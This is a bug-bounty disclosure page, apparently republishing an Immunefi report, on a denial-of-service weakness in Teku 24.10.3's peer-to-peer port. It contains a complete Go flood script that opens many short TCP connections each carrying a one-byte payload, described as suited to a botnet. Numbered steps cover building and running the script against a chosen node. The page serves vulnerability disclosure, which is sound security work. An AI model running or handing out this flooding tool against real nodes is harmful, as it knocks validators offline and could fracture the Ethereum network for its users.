Skip to content
DoS Audit finding Intermediate

Remotely spamming 1 byte leads to full peer removal and desync in both execution and consensus clients

Teku 24.10.3 is vulnerable to a remote denial-of-service attack where a single machine can send many TCP connections with a one-byte payload to the P2P port, causing the node to lose peer connections and desynchronise from both execution and consensus clients. The attack can be sustained by a botnet and may lead to network partitions if enough Teku nodes are targeted.

\[redacted] Follow

Originally disclosed on Immunefi

Informational View original
  • Disclosed after under an hour

#37505 [BC-Insight] Remotely spamming 1 byte leads to full peer removal and desync in both execution and consensus clients

Submitted on Dec 6th 2024 at 16:49:18 UTC by [redacted] for Attackathon | Ethereum Protocol

  • Report ID: #37505
  • Report Type: Blockchain/DLT
  • Report severity: Insight
  • Target: https://github.com/Consensys/teku
  • Impacts:
    • Causing greater than or equal to 25% of network processing nodes to process transactions from the mempool beyond set parameters (e.g. prevents processing transactions from the mempool)
    • Unintended chain split affecting greater than or equal to 25% of the network (Network partition)
    • Causes desynchronization in both Consensus and Execution clients

Description

Brief/Intro

A remote desynchronization (P2P DoS) exploit has been identified in Teku 24.10.3. A single attacking machine can disable remote nodes by spamming a blank space over raw tcp/9000.

Vulnerability Details

The latest release is susceptible to a simple remote DoS. Unlike a process crash, it recovers after a couple of minutes when the script is turned off - but with a sustained botnet attack, it's an irrelevant detail, because the attack would come from a botnet regardless.

During the attack, the test/victim node machine running teku struggles to operate and maintain SSH comms - despite no significant rise in MEM or CPU - oddly. I have no explanation for that and in fact hope that you might.

It only requires a single attacking machine to complete the DoS. I used a 4 CPU core Ubuntu VPS to attack. The provided script automatically scales in a way that accommodates system CPU resources on the attack machine - rendering it perfect for a botnet, and for testing.

Impact Details

As of now, Teku comprises 25.37% of the consensus layer. An attack surface of this size being attacked simultaneously, disabling all P2P comms between nodes running teku, we'd see bad netsplits. Both execution and consensus clients would be thrown out of sync all at once and the network would be fractured.

Attack code and steps to reproduce

Attack script (golang)

package main

import (
    "fmt"
    "net"
    "runtime"
    "sync/atomic"
    "syscall"
    "time"
)

const (
    nodeAddress = "127.0.0.1:9000"
    payload     = " "
)

type stats struct {
    count      uint64
    errorCount uint64
}

var payloadBytes = []byte(payload)
var targetAddr *syscall.SockaddrInet4

func init() {
    // Pre-resolve the target address
    addr, err := net.ResolveTCPAddr("tcp", nodeAddress)
    if err != nil {
        panic(err)
    }
    ip := addr.IP.To4()
    targetAddr = &syscall.SockaddrInet4{
        Port: addr.Port,
        Addr: [4]byte{ip[0], ip[1], ip[2], ip[3]},
    }
}

func worker(s *stats) {
    for {
        // Create raw socket
        fd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)
        if err != nil {
            atomic.AddUint64(&s.errorCount, 1)
            continue
        }

        // Set non-blocking
        syscall.SetNonblock(fd, true)

        // Connect without waiting
        err = syscall.Connect(fd, targetAddr)
        if err != nil && err != syscall.EINPROGRESS {
            syscall.Close(fd)
            atomic.AddUint64(&s.errorCount, 1)
            continue
        }

        // Send without waiting for connection completion
        syscall.Write(fd, payloadBytes)
        syscall.Close(fd)
        atomic.AddUint64(&s.count, 1)
    }
}

func printStats(s *stats) {
    start := time.Now()
    lastCount := uint64(0)
    lastTime := start

    ticker := time.NewTicker(time.Second)
    defer ticker.Stop()

    for range ticker.C {
        now := time.Now()
        currentCount := atomic.LoadUint64(&s.count)
        currentErrors := atomic.LoadUint64(&s.errorCount)

        elapsed := now.Sub(lastTime).Seconds()
        rate := float64(currentCount-lastCount) / elapsed
        totalElapsed := now.Sub(start).Seconds()

        fmt.Printf("Sent: %d, Errors: %d, Rate: %.2f/s, Avg Rate: %.2f/s\n",
            currentCount, currentErrors, rate, float64(currentCount)/totalElapsed)

        lastCount = currentCount
        lastTime = now
    }
}

func main() {
    runtime.GOMAXPROCS(runtime.NumCPU())

    s := &stats{}

    numWorkers := 500 * runtime.NumCPU()
    fmt.Printf("Starting %d workers across %d CPUs...\n", numWorkers, runtime.NumCPU())

    go printStats(s)

    for i := 0; i < numWorkers; i++ {
        go worker(s)
    }

    select {}
}

If you need any technical assistance whatsoever, I'm around.

Steps to reproduce (Ubuntu)

  1. Paste the code above into a text editor, change "127.0.0.1:9000" to your teku server's IP:P2PPort and save the file as attack.go
  2. snap install go --classic
  3. ulimit -n 100000
  4. go build attack.go
  5. ./attack

Let it run patiently and observe the undesirable behavior of the test victim node.

Proof of Concept

Proof of Concept

Screenshots of the attack and functioning attack code serve as the PoC to this vulnerability.

The original report as published on Immunefi, by \[redacted]. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the P2P networking layer does not adequately handle a high rate of short-lived TCP connections with minimal data, leading to resource exhaustion or connection handling issues that disrupt peer communication.

Impact

The attack can cause Teku nodes to lose peer connections and desynchronise from both execution and consensus clients, potentially leading to network partitions if a large fraction of the network is affected; the effect recovers after the attack stops, but a sustained botnet attack could maintain the disruption.

What the attacker needed

Network access to Teku P2P port; a single attacking machine; ability to run the provided Go script

How it was found

  1. Save the provided Go attack script, changing the target address to the Teku server's IP and P2P port.
  2. Install Go using snap.
  3. Increase the file descriptor limit to 100000.
  4. Build the attack script with go build.
  5. Run the compiled attack binary and observe the victim node's behaviour.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a way to knock a blockchain node offline by flooding its peer-to-peer network port with tiny messages. The node gets overwhelmed, stops talking to other nodes, and falls out of sync with the rest of the network. The attacker only needs one computer to do this, and the effect can be repeated by many infected computers (a botnet).

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by \[redacted]

View all

6 more disclosed reports, best first.

More from Ethereum Protocol

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.